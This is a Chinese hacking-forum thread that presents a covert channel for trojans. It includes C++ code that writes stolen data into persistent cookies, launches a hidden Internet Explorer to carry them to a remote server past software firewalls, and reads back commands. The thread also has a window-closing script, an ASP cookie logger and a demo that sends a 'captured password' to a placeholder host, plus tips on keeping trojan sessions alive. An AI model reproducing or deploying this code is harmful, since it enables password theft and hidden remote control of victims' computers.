发新话题
打印

[原创]新的信息密道:用浏览器+Cookie传递

[原创]新的信息密道:用浏览器+Cookie传递

文章作者:记忆碎片 [E.S.T顾问团]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

这是我在“技术讨论”区写的一篇议题的实现。

以下这个函数接受四个参数


  • s_data : 要发送的数据
  • r_data : 指针, 指向接收数据的缓冲区
  • browser_path : 浏览器路径
  • url: 要目的地址


  过程很简单。首先,客户端 (安装在受害者机器上,情况如同反弹后门) 把要传递的数据作为永久Cookie写进,然后CreateProcess调用浏览器,IE接受一个命令行参数,指定了要访问的地址。浏览器会自动把Cookie发送到指定地址,通过HTTP Request 首部的 Cookie: 字段。然后,服务器通过Set-Cookie字段设置返回的Cookie,并用以下代码自动关闭浏览器。客户端再调用InternetGetCookie来获得返回的Cookie
复制内容到剪贴板
代码:
<SCRIPT Language="Jscript">
window.opener =4166;
self.close();
</SCRIPT>
  服务器方面,可以使用标准的脚本语言如PHP来接受Cookie,这适用于小规模一次性的应用,例如发送截获的密码之类的,也可以listen在HTTP的端口然后分析Cookie字段,者比较适合交互式的数据传递,比如远程控制类的木马。

  这种方法的优点嘛,在不需要进程注入和其他一些高级技巧的方法下绕过了软体防火墙进程检查和网络检查,缺点是反复创建销毁进程消耗不小。

  希望你明白我在说什么。
复制内容到剪贴板
代码:
bool send_cookie (
                    LPCTSTR s_data,
                    LPSTR r_data,
                    LPCTSTR browser_path,
                    LPCTSTR url
                    )
{
     string cookie_data("DATA=");
     string cmd_line;
     STARTUPINFO si;
     PROCESS_INFORMATION pi;
     DWORD dwSize = 0;
     
     ZeroMemory( &pi, sizeof(pi) );
     ZeroMemory( &si, sizeof(si) );
     si.cb = sizeof(si);
     
     //Hide the window
     si.dwFlags = STARTF_USESHOWWINDOW;
     si.wShowWindow = SW_HIDE;
     
     cmd_line += browser_path;
     cmd_line +=     " ";
     cmd_line += url;
     //Add in data and expiration date
     cookie_data += s_data;
     cookie_data += "; expires = Sat, 01-Jan-2010 00:00:00 GMT";
     
     //Set Cookie
     if(!InternetSetCookie( url, NULL, cookie_data.c_str( ) ) )
          return false;
     
     //Create browser proc, and wait
     if( !CreateProcess( NULL, (char*)cmd_line.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi ) )
          return false;
     WaitForSingleObject( pi.hProcess, INFINITE );
     
retry:
     //Recive data
     if (!InternetGetCookie(url, NULL, r_data, &dwSize))
     {
          // Check for an insufficient buffer error.
          if (GetLastError()== ERROR_INSUFFICIENT_BUFFER)
          {
              // Allocate the necessary buffer.
              r_data = new char[dwSize];
              
              // Try the call again.
              goto retry;
          }
          else
          {
              delete[] r_data;
              return false;
          }
         
     }
     return true;
}
保持!保持脑袋时刻灵活!

TOP

有一个问题, 也许对要用这种方法写木马的人有帮助, 就是浏览器有一个超时限制, 一般是30-60秒, 这要求控制端 (服务器) 在客户端连结上以后, 最多60秒以内做出应答. 解决这个问题可以在30秒的时候发送一个 Set-Cookie: CMD=NOP 这样的命令, 服务端分析到这个命令就重新连接

这都属于工程学的问题, 就不多说了
保持!保持脑袋时刻灵活!

TOP

asp的
复制内容到剪贴板
代码:
<%
cookiefile=Server.MapPath("cookie.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set cookiefile=fs.OpenTextfile(cookiefile,8,True,0)
cookiefile.Write(Request.QueryString&"<br>")
cookiefile.close
set fs = nothing
%>
我有个疑问(比较菜):

ie怎么把你所需要的信息发到服务器端?

在发送cookies的同时发送信息 还是在cookies里加上你所需要收集的客户端的数据?


[s:35]
觉得你够三八吗? 觉得你有资格和我挑吗? 那就到八里街XX洗头店找 老板娘单挑吧 活着回来的找我 http://Www.OkHtm.Com ---------------------------------------------------------- 不要看俺了,俺只是来学习的 学习你们的三八精神的.

TOP

完了, 每发贴我都怀疑自己的中文水平....
复制内容到剪贴板
代码:
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
using namespace std;


bool send_cookie (
                  LPCTSTR s_data,
                  LPSTR r_data,
                  LPCTSTR browser_path,
                  LPCTSTR url
                  ) ;


int main(int argc, char* argv[])
{
    LPSTR r_data;
    if(!send_cookie (
        "PASSWORD", //password captured
        r_data,
        "c:\\progra~1\\intern~1\\IEXPLORE.EXE",
        "[url]http://remotehostxxx.com[/url]"
    )) cout<<"FAILED!"<<endl;
    return 0;
}
保持!保持脑袋时刻灵活!

TOP

[s:35]  [s:35]  [s:35] 只知道这是个c源码 ...
觉得你够三八吗? 觉得你有资格和我挑吗? 那就到八里街XX洗头店找 老板娘单挑吧 活着回来的找我 http://Www.OkHtm.Com ---------------------------------------------------------- 不要看俺了,俺只是来学习的 学习你们的三八精神的.

TOP

发新话题